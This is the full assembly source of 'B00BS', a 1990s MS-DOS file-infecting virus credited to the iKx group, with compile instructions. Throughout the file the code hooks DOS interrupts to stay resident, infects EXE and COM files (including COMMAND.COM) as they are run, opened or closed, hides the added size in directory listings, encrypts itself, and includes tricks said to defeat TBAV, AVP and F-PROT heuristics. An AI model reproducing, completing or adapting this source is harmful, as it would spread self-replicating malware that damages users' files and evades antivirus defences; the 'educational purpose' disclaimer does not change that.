; B00bs virus
;******************************************************************************
; THIS IS FOR EDUCATIONAL PURPOSE ONLY                               Gi0rGeTt0
;
; Virus name    : B00BS
; Author        : Unknwon :)
; Group         : iKx
; Origin        : Italy 1996/97
; Compiling     : Use TASM
;                 TASM /M2 B00BS.ASM
;                 TLINK B00BS
; Targets       : EXE COM
; Features      : stealth via 11h,12h,4eh,4fh,disinfect and infect on the fly
;                 on opening(3dh,6c00h) and closing(3eh) ,int 24h handler
;                 TSR by MCB and int21h (48h)
;                 uses some 386 instructions for some routines (just for fun)
;                 fucks TBAV,AVP,F-PROT heuristic shits
; improvements  : needs a poly engine
; payload       : none
; Greetings     : to all the guys of the iKx and all the
;                 other guys on #virus.
;
;******************************************************************************
;
; The file is a EXE


.386

CSeg SEGMENT USE16

ASSUME cs:CSeg

FileHeaderRecord struc
		  signature  dw ?
		  sizemod    dw ?
		  msize      dw ?
		  relocat    dw ?
		  headsize   dw ?
		  minalloc   dw ?
		  maxalloc   dw ?
		  stackseg   dw ?
		  stackofs   dw ?
		  check      dw ?
		  ip         dw ?
		  codes      dw ?
		  Checksum   dw ?
		  checkOvr   dw ?

FileHeaderRecord ends

SearchRecord  struc
	       date    dw ?
	       time    dw ?
SearchRecord  ends

ExecBlockRecord struc
		 Env dw ?
		 Cmd dd ?
ExecBlockRecord ends

Findrecord struc
	    FindBuf db 128 dup (?)
	    Findofs dw ?
Findrecord ends

VIR_PAR = ((END_TSR - START_TSR ) / 16) + 2
VIR_LEN = (REAL_CODE - START_TSR) + 1        ; dim virus in memoria
VIR_TRUE_LEN = ( REAL_CODE - START_TSR ) + 1 ; dimensione del virus su file


already  =  0 ; already infected
ready    =  1 ; ready to be infected
com      =  2 ; com file
exe      =  3 ; exe file
other    =  4 ; other

true     =  1
false    =  0

maxfiles = 26         ; max file no to open , must be (maxfiles*2)/4 integer

START_TSR     equ $

AfterCryp :  call SH
SH        :  pop bp
	     sub bp,3

	     push ds
	     pop  es

	     mov ax,0fe01h
	     int 2fh

	     cmp al,0ffh
	     jne short  Novirus

YesVirus :   db 0e9h
	     jmp_addr dw ?

	     mov ax,ds                                 ; ES = DS = PSP = AX
	     add ax,10h                                ; PSP +  1 paragraph
	     mov bx,cs:[bp][templateheader.stackseg]
	     add bx,ax
	     cli
	     mov ss,bx
	     mov sp,cs:[bp][templateheader.stackofs]
	     sti

	     mov bx,cs:[bp][templateheader.codes]
	     add bx,ax

	     push bx                                   ; push CS
	     push cs:[bp][templateheader.ip]           ; push IP

@jump  :     xor eax,eax
	     xor ebx,ebx
	     xor ecx,ecx
	     xor edx,edx
	     xor esi,esi
	     xor edi,edi
	     xor ebp,ebp

	     retf                                      ; jmp to host CS:IP

com_exec :   push cs                                   ; COM settings
	     mov si,bp
	     add si,offset @com_buf
	     mov di,100h
	     push di
	     cld
	     movsd
	     jmp short @jump


NoVirus  :   mov es,word ptr ds:[2ch]                  ; enviroment segment
	     mov word ptr cs:[bp][tmp_COMseg],es

	     push ds

	     mov ax,ds                                    ; DS = PSP
	     dec ax                                       ; AX = MCB
	     mov ds,ax

	     mov  bl,02h                 ; last fit
	     mov  ax,5801h
	     int  21h                    ; set

	     mov  bx,VIR_PAR             ; malloc
	     mov  ah,48h
	     int  21h
	     jnc  short malloc           ; problems ?

	     push ax dx
	     mov ah,2
	     mov dl,7
	     int 21h
	     pop dx ax

	     push ds
	     pop  ax

	     mov bx,4d03h
	     mov ds:[0],bh                                         ;'M'
	     xor bh,bh
	     sub word ptr ds:[bx],VIR_PAR
	     inc ax
	     add ax,ds:[bx]
	     mov ds,ax
	     mov word ptr ds:[bx],VIR_PAR-1
	     mov bl,'Z'
             mov ds:[0],bl                                   ; Z in last MCB

	     inc ax

malloc :     mov  es,ax

	     dec ax
	     push ax
	     pop  ds

	     mov  bx,8
	     mov  ds:[1],bx                               ; owned by dos 0008
	     mov  word ptr ds:[bx],'CS'

	     xor bl,bl                                    ; restore strategy
	     mov  ax,5801h
	     int  21h

	     cld
	     xor di,di
	     mov si,bp
	     push cs
	     pop  ds
	     mov cx,(VIR_LEN / 4) + 1
rep          movsd

	     call clean_x_stack

	     cli

	     xor ax,ax
	     mov ds,ax

	     mov eax,es
	     shl eax,16
	     mov ax,offset HOOK_21
	     xchg ds:[84h],eax
	     mov es:TRAPPED_21,eax

	     mov eax,es
	     shl eax,16
	     mov ax,offset HOOK_2F
	     xchg ds:[0bch],eax
	     mov es:TRAPPED_2F,eax

	     pop ds                                ; DS = PSP

	     mov es:sleep,FALSE
	     mov es:command_Flag,TRUE
	     mov ax,cs:[bp][tmp_COMseg]
	     mov es:COMseg,ax

	     push ds
	     pop  es

	     sti

	     jmp yesvirus

	     tmp_COMseg dw ?

HOOK_2F  :   cmp ah,0feh
	     jne short  ChkintWin
	     mov al,0ffh
	     iret

;///// Chkintwin and ChkEndwin disable the virus during installation check in
;      win311 and under Msdos prompt in w95 /////

;      Under Msdos prompt only some int21h trap worked :(( i.e 4b
;      but 3dh,3eh and some other as all long filenames functions didn't work
;      i dunno the reason since i hadn't much time for solving the question
;      if someone can explain it let me know pleaze :)

ChkintWin :  cmp ax,1605h
	     jne short chkendwin
	     mov cs:sleep,TRUE
	     jmp short pass2f

ChkEndWin :  cmp ax,1606h
	     jne short pass2f
	     mov cs:sleep,FALSE

pass2f    :  db 0eah
	     TRAPPED_2F dd ?

HOOK_21 :    cmp cs:command_flag,TRUE
	     jne short Check_int
	     call @COMM_COM

Check_int :  cmp cs:sleep,TRUE
	     je short org_21

	     cmp ax,cs:[intr_sub_w]                                   ;4b00h
	     je @EXEC00
	     cmp ax,cs:[intr_sub_w+2]                                 ;4b01h
	     je @LD&EX

	     cmp ah,cs:[intr_sub_b]                                   ;1ah
	     je @SAVEDTA
	     cmp ah,cs:[intr_sub_b+1]                                 ;4eh
	     je @FINDFIRST
	     cmp ah,cs:[intr_sub_b+2]                                 ;4fh
	     je @FINDNEXT

	     cmp ah,cs:[intr_sub_b+3]                                 ;3dh
	     je @OPEN
	     cmp ah,cs:[intr_sub_b+4]                                 ;3eh
	     je @CLOSE

	     cmp ax,cs:[intr_sub_w+4]                                 ;6c00h
	     je @EXTOPEN

	     cmp ah,cs:[intr_sub_b+5]                                 ;11h
	     je @FCB_FIND
	     cmp ah,cs:[intr_sub_b+6]                                 ;12h
	     je @FCB_FIND


org_21    :  db 0eah
	     TRAPPED_21 dd ?

@COMM_COM :  pushad
	     push ds es

	     cld
	     mov ax,cs:COMseg
	     mov es,ax
	     xor di,di
	     mov cx,256

@pre_loop :  mov eax,'SMOC'
@loop_a   :  scasd
	     jz short @nxt_ck
	     sub di,3
	     loop @loop_a

	     jmp @fail

@nxt_ck :    mov eax,'=CEP'
	     scasd
	     jz short @it_is
	     sub di,3
	     jmp short @pre_loop

@it_is :     push es
	     pop  ds
	     mov  si,di
	     push cs
	     pop  es
	     mov  di,offset Data_Buffer

	     mov cx,256

@loop_b  :   lodsb
	     or al,al
	     jz short @copy_end
	     stosb
	     loop @loop_b
@copy_end :  stosb

	     push cs
	     pop  ds
             mov  dx,offset Data_Buffer               ; DS:DX command.com path
	     mov  bx,dx

	     call GetFattrib                          ; CX attributo
	     jc short @fail

	     push cx dx ds

	     call openfile                            ; BX handle

	     call FileInfect

	     call closefile

	     pop ds dx cx

	     call SetFattrib

@fail :      pop  es ds
	     popad

	     mov cs:command_flag,FALSE

	     ret

@EXEC00   :  call CheckIfExe
	     jnz org_21

	     pushad
	     push es ds                                 ; DS:DX ASCIZ filename

	     call vir_handler

	     call getFattrib
	     jc short @no_inf                           ; CX attributo

	     push cx ds dx

	     call openfile

	     call FileInfect

	     call closefile

	     pop dx ds cx

	     call SetFattrib

@no_inf  :   call dos_handler

	     pop  ds es
	     popad

	     call int21h

	     jmp Intret


@LD&EX   :   push es ds
	     pushad

	     call vir_handler

	     call GetFattrib
	     jc short  ex_ld                          ; CX attributo

	     push cx dx ds

	     call OpenFile
	     jc short ex_ld

	     call FileClean

	     call closefile

	     pop ds dx cx

	     call SetFattrib

ex_ld  :     call dos_handler

	     popad
	     pop ds es

	     push ds dx
	     call int21h
	     pop  dx ds

	     pushf
	     push es ds
	     pushad

	     call vir_handler

	     call GetFattrib
	     jc short  not_ld                             ; CX attrib

	     push cx ds dx

	     call OpenFile

	     call FileInfect

	     call closefile

	     pop dx ds cx

	     call SetFattrib

not_ld :     call dos_handler

	     popad
	     pop ds es
	     popf
	     jmp Intret


@OPEN    :   call CheckIfExe
	     jnz org_21

	     push es ds
	     pushad

	     call vir_handler

	     call GetFattrib
	     jc short  Skip_file                           ; CX attrib

	     push cx ds dx

	     call OpenFile

	     call FileClean

	     call CloseFile

	     pop dx ds cx

	     call SetFattrib

	     call dos_handler

	     popad
	     pop ds es

	     push ds dx
	     call int21h
	     pop  dx ds
	     jc short @no_open

	     xchg ax,bx
	     call PushHandle
	     xchg bx,ax
	     jmp Intret

@no_open   : pushf
	     cmp al,5
	     jne short @no_mat

	     push es ds
	     pushad

	     call vir_handler

	     call GetFattrib
	     jc short @a

	     push cx ds dx

	     call OpenFile

	     call FileInfect

	     call CloseFile

	     pop dx ds cx

	     call SetFattrib

	     call dos_handler

@a      :    popad
	     pop ds es

@no_mat    : popf
	     jmp Intret

Skip_file  : popad
	     pop ds es

	     call dos_handler

	     jmp org_21

@EXTOPEN   : xchg si,dx
	     call CheckIfExe
	     xchg dx,si
	     jnz org_21

	     push es ds
	     pushad

	     call vir_handler

	     mov dx,si

	     call GetFattrib
	     jc short @aa

	     push cx ds dx

	     call OpenFile

	     call FileClean

	     call closefile

	     pop  dx ds cx

	     call SetFattrib

@aa   :      call dos_handler

	     popad
	     pop ds es

	     push ds si
	     call int21h
	     pop  dx ds
	     jc @no_open

	     xchg ax,bx
	     call PushHandle                                    ; save handle
	     xchg bx,ax

	     jmp Intret


; // SFT and JFT didn't work in Msdos Prompt :(( //

@CLOSE     : call Pophandle
	     jc org_21

	     call vir_handler

	     pushad
	     push ds es

	     push bx

	     mov ax,1220h                                ; BX handle
	     call int2fh                                 ; ES:DI JFT

	     xor bx,bx
	     mov bl,byte ptr es:[di]
	     mov ax,1216h                                ; bx entry number for
	     call int2fh                                 ; ES:DI SFT

	     mov byte ptr es:[di+2],2

	     pop  bx

	     call FileInfect

	     pop es ds
	     popad

	     call int21h                                  ; exec int

	     call dos_handler

	     clc
	     jmp Intret


@FINDFIRST : push ax cx si di es                         ; DS:DX find filename
	     pushf

	     mov si,dx

	     push cs
	     pop  es
	     mov  di,offset findvar

	     cld
	     push di
	     xor ax,ax
	     mov cx,(size Findvar - 2) / 2
	     rep stosw                                  ; reset Findvar
	     pop di

	     mov ah,60h                                 ; DS:SI filename
	     call Int21h                                ; ES:DI canonaized

	     mov di,offset findvar + size findvar - 2
	     mov cx,size findvar - 2 - 1

	     std
	     mov al,''
repnz        scasb
	     jz short o
	     sub di,3
o :          add di,2
	     mov cs:Findvar.Findofs,di
	     popf
	     pop  es di si cx ax

@FINDNEXT :  call int21h
	     jc Intret

FindProc :   pushad
	     push ds es
	     pushf

	     mov ds,cs:DTAseg
	     mov si,cs:DTAofs
	     add si,1eh                                  ; DS:SI punta al
							 ; filename nella DTA
	     push cs
	     pop  es

	     mov  di,cs:findvar.findofs                  ; ES:DI path filename
	     cld

CopyName:    movsb
	     cmp byte ptr ds:[si],0
	     jne short  CopyNAme
	     mov byte ptr es:[di],0

;  Findvar now has the ASCIZ filename to pass to Openfile

	     push cs
	     pop  ds
	     mov  dx,offset Findvar

	     call CheckIfExe
	     jnz short  DonotTreat

	     call OpenFile
	     jc short  DoNotTreat

	     call CheckXinf

	     cmp file_type,other
	     je short CanClose

	     cmp file_status,already
	     jne short  CanClose

	     mov es,DTAseg
	     mov di,DTAofs

	     sub dword ptr es:[di+1ah],vir_true_len - 1

CanClose :   call CloseFile

DoNotTreat:  popf
	     pop  es ds
	     popad
	     jmp Intret


@SAVEDTA :   mov  cs:DTAofs,dx
	     mov  cs:DTAseg,ds
	     jmp org_21


@FCB_FIND :  call int21h

	     pushf
	     push es ax bx

	     les bx,dword ptr cs:DTAofs

	     mov al,byte ptr es:[bx]
	     cmp al,0ffh                             ; vede se FCB esteso
	     jne short @ok_good
	     add bx,7

@ok_good :   pusha
	     push ds es

	     mov ah,47h                              ; get cur dir
	     mov dl,byte ptr es:[bx]                 ; drive number
	     push cs
	     pop  ds
	     mov si,offset FindVar
	     call int21h                             ; return ASCIZ directory

	     push cs
	     pop  es
	     cld

	     cmp byte ptr ds:[si],0                  ; root ?
	     jne short @path
	     mov ax,offset FindVar
	     add ax,3
	     mov cs:FindVar.FindOfs,ax
	     jmp short @root

@path  :     mov di,offset FindVar
	     xor al,al
@@f    :     scasb                          ; look for the end of the dirname
	     jnz short @@f

	     mov si,di
	     dec si
	     mov byte ptr es:[si],''
	     add di,3

	     mov es:FindVar.FindOfs,di
	     dec di
	     std
@cp :        movsb
	     cmp si,offset FindVar
	     jae short @cp

@root :      mov word ptr es:[offset FindVar+1],':'
	     add dl,'A' - 1
	     mov byte ptr es:[offset FindVar],dl           ; drive letter

	     pop es ds
	     popa

	     pusha
	     push ds es                              ; ES:BX DTA

	     push es
	     pop  ds                                 ; DS = ES
	     mov  si,1
	     add  si,bx                              ; file name ds:si

	     push cs
	     pop  es
	     mov  di,cs:FindVar.FindOfs

	     mov cx,8
	     cld

@lp1 :       lodsb
	     cmp al,20h
	     je short @end_1
	     stosb
	     loop @lp1

@end_1 :     mov al,'.'
	     stosb

	     mov cx,3
	     mov si,9
	     add si,bx
	     rep movsb

	     xor al,al
	     stosb                                       ; Z terminated

	     push cs
	     pop  ds
	     mov  dx, offset FindVar                      ; ASCIZ filename

	     mov bp,bx

	     call CheckIfExe
	     jnz short  @not_op

	     call OpenFile
	     jc short  @not_op

	     call CheckXinf

	     cmp file_type,other
	     je short @CanClose

	     cmp file_status,already
	     jne short @CanClose

	     mov es,cs:DTAseg
	     sub dword ptr es:[bp+1dh],VIR_TRUE_LEN - 1       ; real size

@CanClose :  call CloseFile

@not_op  :   pop es ds
	     popa


@NotInf   :  pop  bx ax es
	     popf

Intret       proc
	     cli
	     push ax
	     pushf
	     pop ax
	     add sp,8
	     push ax
	     sub sp,6
	     pop ax
	     sti
	     iret
Intret       endp


int21h       proc

	     pushf
	     call dword ptr cs:TRAPPED_21
	     ret

int21h       endp

int2fh       proc

	     pushf
	     call dword ptr cs:TRAPPED_2F
	     ret

int2fh       endp

vir_handler  proc

	     cli
	     push eax ds
	     xor ax,ax
	     mov ds,ax
	     mov eax,cs
	     shl eax,16
	     mov ax,offset critical
	     xchg ds:[90h],eax
	     mov cs:TRAPPED_24,eax
	     pop ds eax
	     sti
	     ret

vir_handler  endp

dos_handler  proc

	     push ds ax
	     cli
	     xor ax,ax
	     mov ds,ax

	     db 66h
	     dw 06c7h
	     dw 0090h
	     TRAPPED_24 dd ?                      ; mov ds:[90h],cs:TRAPPED_24

	     pop ax ds
	     sti
	     ret

dos_handler  endp


critical     proc
	     xor al,al
	     iret
critical     endp


openfile     proc

	     mov ah,3dh
	     xor al,al
	     add al,2
	   ;  mov  ax,3d02h
	     call int21h
	     mov bx,ax
	     ret                                             ; out : BX handle

openFile     endp

closeFile    proc

	     mov ah,3eh                                      ; in  : BX handle
	     call int21h
	     ret

closefile    endp

GetFAttrib   proc

	     push ax
	     mov ah,43h
	     xor al,al
	  ;   mov ax,4300h
	     push ax
	     call int21h                              ; CX attributo
	     pop ax
	     inc al
	     push cx
	    ; mov ax,4301h
	     push ax
	     call int21h
	     pop ax
	     jc short out_f
	   ;  mov ax,4301h
	     mov cx,32
	     call int21h
out_f   :    pop cx
	     pop ax                                   ; ritorna CX attributo
	     ret                                      ; ritona carry se errore

SetFattrib   proc
	     push ax                                  ; in CX attributo
	     mov ah,43h
	     xor al,al
	     inc al
	   ;  mov ax,4301h
	     call int21h
	     pop  ax
	     ret
SetFattrib   endp

GetFAttrib   endp

FileEnd      proc
	     mov ah,42h
	     xor al,al
	     add al,2
	  ;   mov ax,4202h
	     xor cx,cx
	     xor dx,dx
	     call int21h                    ; DX:AX file size
	     ret

FileEnd      endp

Filestart    proc

	     xor cx,cx
	     xor dx,dx

Filestart    endp

FileSeek     proc

	     mov ax,4200h
	     call int21h
	     ret

FileSeek     endp

blockread    proc

	     mov  ah,3fh
	     call int21h
	     ret

blockread    endp

blockwrite   proc

	     mov  ah,40h
	     call int21h
	     ret

blockwrite   endp

GetDateTime  proc

	     mov ah,57h
	     xor al,al
	  ;   mov ax,5700h
	     call Int21h
	     mov cs:searchrec.date,dx
	     mov cs:searchrec.time,cx
	     ret

GetdateTime  endp

SetDateTime  proc

	     mov dx,cs:searchrec.date
	     mov cx,cs:searchrec.time
	     mov ah,57h
	     xor al,al
	     inc al
	   ;  mov ax,5701h
	     call Int21h
	     ret

SetdateTime  endp

commit_file  proc

	     mov ah,68h
	     call int21h                                        ; commit file
	     ret

commit_file  endp

clean_x_stack proc

	      mov di,offset searchstack
	      mov cx, (size searchstack) / 4
	      xor eax,eax
rep           stosd
	      ret

clean_x_stack endp


CheckIfExe   proc                                 ; DS:DX filename

	     push es di ax

	     push ds
	     pop  es

	     cld
	     mov di,dx                           ; ES:DI filename
	     xor ax,ax
FindZ    :   scasb
	     jnz short  FindZ

	     cmp dword ptr [di-5],'exe.'
	     je short is_exe
	     cmp dword ptr [di-5],'EXE.'
	     je short is_exe
	     cmp dword ptr [di-5],'moc.'
	     je short is_exe
	     cmp dword ptr [di-5],'MOC.'

is_exe   :   pop ax di es
	     ret

CheckIfExe   endp

PushHandle    proc

	      pushf
	      push ax cx es di

	      push cs
	      pop  es
	      mov  di,offset SearchStack            ; ES:DI SearchStack
	      cld
	      mov cx,maxfiles
	      xor ax,ax
repnz         scasw
	      jnz short  Nofree
	      mov word ptr es:[di-2],bx             ; sets handle

Nofree:       pop di es cx ax
	      popf
	      ret

PushHandle    endp

PopHandle     proc

	      push ax cx es di

	      or bx,bx
	      jz short  Nofree1                              ; BX = 0 ?

	      push cs
	      pop  es

	      cld
	      mov di,offset SearchStack
	      mov cx,maxfiles
	      mov ax,bx
repnz         scasw
	      jnz short Nofree1
	      mov word ptr es:[di-2],0                 ; free handle
	      clc
	      jmp short  exitpop

Nofree1  :    stc
Exitpop  :    pop di es cx ax
	      ret

PopHandle     endp


Calc_check   proc

	     push si                                     ; DS = CS

	     xor dx,dx
	     mov si,size fileheader - 4
@chk   :     add dx,[si+offset fileheader]
	     sub si,2
	     jnz short @chk

	     pop si                                      ; DX = checksum
	     ret

Calc_check   endp

CheckXinf    proc

	     mov file_status,already

	     call Filestart

	     mov cx,size Fileheader
	     mov dx, offset Fileheader
	     call BlockRead

	     mov cx,cs:[MZsig]
	     dec cx
	     cmp fileheader.signature,cx
	     je short  IsanExe
	     mov cx,cs:[ZMsig]
	     dec cx
	     cmp fileheader.signature,cx              ; vede se e' un file EXE
	     je  short IsanExe

	     mov file_type,com

	     call FileEnd                             ; DX:AX dim file

	     sub ax,VIR_TRUE_LEN - 1
	     add ax,NONCRYPTED - START_TSR
	     sub ax,3

	     cmp ax,word ptr fileheader.signature+1
	     je GotoEnd                               ; infected

	     jmp Except

IsAnExe   :  mov file_type,exe

	     cmp fileheader.Checksum,40h
             jne short @good                        ; not a PE,NE,LE ....
	     mov file_type,other
	     jmp GotoEnd

@good  :     call calc_check

	     cmp dx,fileheader.CheckOvr
	     je GoToEnd                             ; already infected

Cont :       call FileEnd                           ; DX:AX dimens file

	     shl edx,16
	     mov dx,ax

	     movzx edi,fileheader.msize
	     movzx esi,fileheader.sizemod
	     dec edi
	     imul edi,512
	     add edi,esi

	     cmp edi,edx                             ; malloc = filesize
	     je short Except

;//**** SFT and JFT doesnt work in dos7 prompt from w95 :((        ****** ///
;//**** This is used for infecting COMMAND.COM under dos7 which is not a .COM
;//**** file but a real EXE

Chk_Com :    push bx es

	     mov ax,1220h                                ; BX handle
	     call int2fh                                 ; ES:DI JFT

	     xor bx,bx
	     mov bl,byte ptr es:[di]
	     mov ax,1216h                                ; bx entry number for
	     call int2fh                                 ; ES:DI SFT

	     cld
	     add di,20h                                  ; go to filename

	     mov eax,'MMOC'
	     scasd
	     jnz short no_com_com
	     mov eax,' DNA'
	     scasd
	     jnz short no_com_com
	     mov ax,'OC'
	     scasw
no_com_com : pop  es bx
	     jz short except

	     mov file_type,other
	     jmp short GotoEnd

except :     mov file_status,ready

GoToEnd  :   call FileEnd
	     ret
						     ; DX:AX dimensione file
CheckXinf    endp


FileInfect   proc

	     push cs cs
	     pop  ds es

	     call CheckXInf                         ; DX:AX dimens file

	     cmp file_type,other
	     je Infectexit

	     cmp file_status,ready
	     jne infectexit

	     cld
	     mov word ptr f_size,ax                 ; salva dim per .COM
	     mov si,offset fileheader
	     mov di,offset @com_buf
	     movsd

	     cmp dx,0
	     ja short @not_less

	     cmp ax,23000
	     ja short @not_less

	     jmp infectexit

@not_less :  cmp dx,7
	     ja Infectexit

	     cld
	     mov si,offset fileheader + 2
	     mov di,offset templateheader + 2
	     mov cx,(size fileheader) / 2  - 1
rep          movsw

	     push ax dx
	     add ax,VIR_TRUE_LEN
	     adc dx,0
	     mov cx,512
	     div  cx

	     inc ax                                 ; AX = quoziente  DX=resto
	     mov fileheader.msize,ax                ; nuova memory size
	     mov fileheader.sizemod,dx              ; nuovo memory module
	     pop  dx ax

	     add ax,NONCRYPTED - START_TSR
	     adc dx,0

	     mov cx,16
	     div cx                                 ; AX:DX = CS:IP

	     mov fileheader.ip,dx

	     push ax

	     xor dx,dx
	     mov ax,VIR_TRUE_LEN
	     add ax,cx
	     add fileheader.ip,ax
	     mov cx,16
	     div cx

	     sub fileheader.ip,dx

	     mov dx,fileheader.ip

	     dec dx
	     mov first_addr,dx
	     sub dx,NONCRYPTED - START_TSR
	     mov cmp_addr,dx

	     mov dx,ax

	     pop  ax

	     sub ax,dx

	     sub ax,fileheader.headsize
	     mov fileheader.codes,ax                    ; setta CS:IP nuovi
	     mov fileheader.stackseg,ax
	     add fileheader.stackofs,(VIR_PAR + 4) * 16 ; mi metto al sicuro

	     call GetDateTime

	     call calc_check                            ; dx checksum
	     mov  fileheader.checkovr,dx

LeaveSo   :  call FileStart

	     cmp file_type,com
	     jne @exe1

	     mov jmp_addr,offset com_exec - offset yesvirus - 3

	     mov byte ptr fileheader,0e9h
	     mov cx,f_size
	     add cx,NONCRYPTED - START_TSR
	     sub cx,3
	     mov word ptr fileheader+1,cx
	     add cx,102h
	     mov first_addr,cx
	     sub cx,NONCRYPTED - START_TSR
	     mov cmp_addr,cx

	     mov dx,offset FIleheader
	     mov cx,3
	     call BlockWrite

	     jmp short ordinary

@exe1     :  mov jmp_addr,0

	     mov dx,offset Fileheader
	     mov cx,size fileheader
	     call BlockWrite                             ; scrive header

ordinary   : call FileEnd

	     call Criptate                               ; return CX =
							 ; virus lenght
	     mov dx,offset Data_Buffer
	     mov cx,VIR_TRUE_LEN - 1
	     call BlockWrite

	     call SetDateTime

	     call commit_file

InfectExit : ret

FileInfect   endp

FileClean    proc

	     push cs
	     pop  ds

	     call CheckXInf                            ; DX:AX dimens file

	     cmp file_type,other
	     je clean_out

	     cmp file_status,already
	     jne clean_out

	     sub ax,size templateheader + 4              ;size @com_buf
	     sbb dx,0

	     mov cx,dx
	     mov dx,ax
	     call FileSeek

             mov cx,size templateheader + 4     ;size @com_buf
                                                ; read real fileheader
	     mov dx,offset @com_buf
	     call Blockread

	     call FileStart
	     call GetdateTime

	     cmp file_type,com
	     jne short @exe2

	     mov cx,4
	     mov dx,offset @com_buf
	     call Blockwrite
	     jmp short ordinary1

@exe2  :     mov cx,cs:[MZsig]
	     dec cx
	     mov templateheader.signature,cx
	     mov dx,offset templateHeader
	     mov cx,size templateheader
	     call BlockWrite

ordinary1 :  call fileEnd

	     sub ax,vir_true_len - 1
	     sbb dx,0

	     mov cx,dx
	     mov dx,ax
	     call FileSeek

	     xor cx,cx
	     call Blockwrite

	     call SetDateTime

	     call commit_file

clean_out :  ret

FileClean    endp

Criptate     proc

	     push bx

	     xor  bx,bx
	     mov  ds,bx
             mov  bx,word ptr ds:[46ch]         ; ritorna numero casuale

	     push cs cs
	     pop  ds es

	     mov  k_code,bl
	     mov  k1_code,bl

	     mov si,bx
	     and si,3
	     cmp si,3
	     jl short @well
	     xor si,si

@well   :    mov bh,byte ptr [offset cripstyle+si]
	     mov cripmode,bh
	     mov bh,byte ptr [offset uncripstyle+si]
	     mov uncripmode,bh

	     std
	     mov  si,offset NONCRYPTED - 1
	     mov  di,offset  Data_Buffer + (NONCRYPTED - START_TSR) - 1
@crip :      bt si,15
	     jc short @stop
	     lodsb

	     cripmode db ?
	     k_code db   ?                             ; xor add sub ,k_code

	     stosb
	     jmp short @crip

@stop    :   cld
	     mov si,offset @uncr_code
	     mov di,offset offset  Data_Buffer + (NONCRYPTED - START_TSR)
	     mov cx,REAL_CODE - offset @uncr_code
	     rep movsb

	     pop bx

	     ret
Criptate     endp

Cripstyle     db  034h                                 ; xor
	      db  04h                                  ; add
	      db  02ch                                 ; sub

Uncripstyle   db  34h                                  ; xor
	      db  2ch                                  ; sub
	      db  04h                                  ; add

Message db '|||-(BOOBS-)||| Virus , Once again deep in Terronia Land '
	db '1997 Bari'

intr_sub_w dw 4b00h,4b01h,6c00h
intr_sub_b db 1ah,4eh,4fh,3dh,3eh,11h,12h
MZsig dw 'ZM'+1
ZMsig dw 'MZ'+1

NONCRYPTED   equ $

@uncr_code : db 0beh
	     first_addr dw ?                             ; mov si,first_addr

@uncr  :     db 02eh                                     ; xor cs:[si]
	     db 80h
	     uncripmode db ?
	     k1_code  db ?

	     mov cx,4000                                 ; do-nothing loop
@m1:         inc si                                      ; to waste time
	     dec si                                      ; to
	     loop @m1                                    ; fuck AVP

	     dec si
	     db 81h
	     db 0feh
	     cmp_addr dw ?                                ; cmp si,

	     jne short @uncr

@end   :     jmp AfterCryp

@com_buf db 4 dup (?)
templateheader FileheaderRecord <>                  ; real file header

REAL_CODE    equ $

Fileheader   FileheaderRecord <>                    ; header
file_status  db ?                                   ; infection flag
file_type    db ?
sleep        db ?                                   ; flag for Windows 3.X
command_flag db ?                                   ; infect command.com ?
Searchrec    Searchrecord <>                        ; date & time record
SearchStack  dw Maxfiles dup (?)                    ; stack for f-handle
FindVar      Findrecord <>                          ; findfirst & findnext
SFT          db 03bh  dup (0)                       ; System File Table Buffer
DTAofs       dw ?                                   ; DTA for Findfirst,next
DTASeg       dw ?
COMSeg       dw ?                                   ; SEG for command.com
f_size       dw ?                                   ; com size
Data_Buffer  db VIR_TRUE_LEN + 16  dup (?)          ; Virus temp buffer


END_TSR      equ $


main    :    mov ax,ds                                    ; DS = PSP
             dec ax                                       ; AX = MCB
	     mov ds,ax

	     mov byte ptr ds:[0],'M'
	     sub word ptr ds:[3],VIR_PAR
	     inc ax
	     add ax,ds:[3]
	     mov ds,ax
             mov byte ptr ds:[0],'Z'                      ; Z nell'ultimo MCB
	     mov word ptr ds:[1],0008
	     mov word ptr ds:[3],VIR_PAR-1
	     mov word ptr ds:[8],'CS'

             inc ax                                       ; SEG TSR

	     cld
	     mov es,ax
	     xor si,si
	     xor di,di
	     push cs
	     pop  ds
	     mov cx,(VIR_LEN / 4) + 1
rep          movsd

	     call clean_x_stack

	     cli

	     xor ax,ax
	     mov ds,ax

	     mov eax,es
	     shl eax,16
	     mov ax,offset HOOK_21
	     xchg ds:[84h],eax
	     mov es:TRAPPED_21,eax

	     mov eax,es
	     shl eax,16
	     mov ax,offset HOOK_2F
	     xchg ds:[0bch],eax
	     mov es:TRAPPED_2F,eax

	     mov es:sleep,FALSE
	     mov es:command_flag,FALSE

	     sti

	     mov ax,4c00h
	     int 21h
CSeg      ends
	  end main
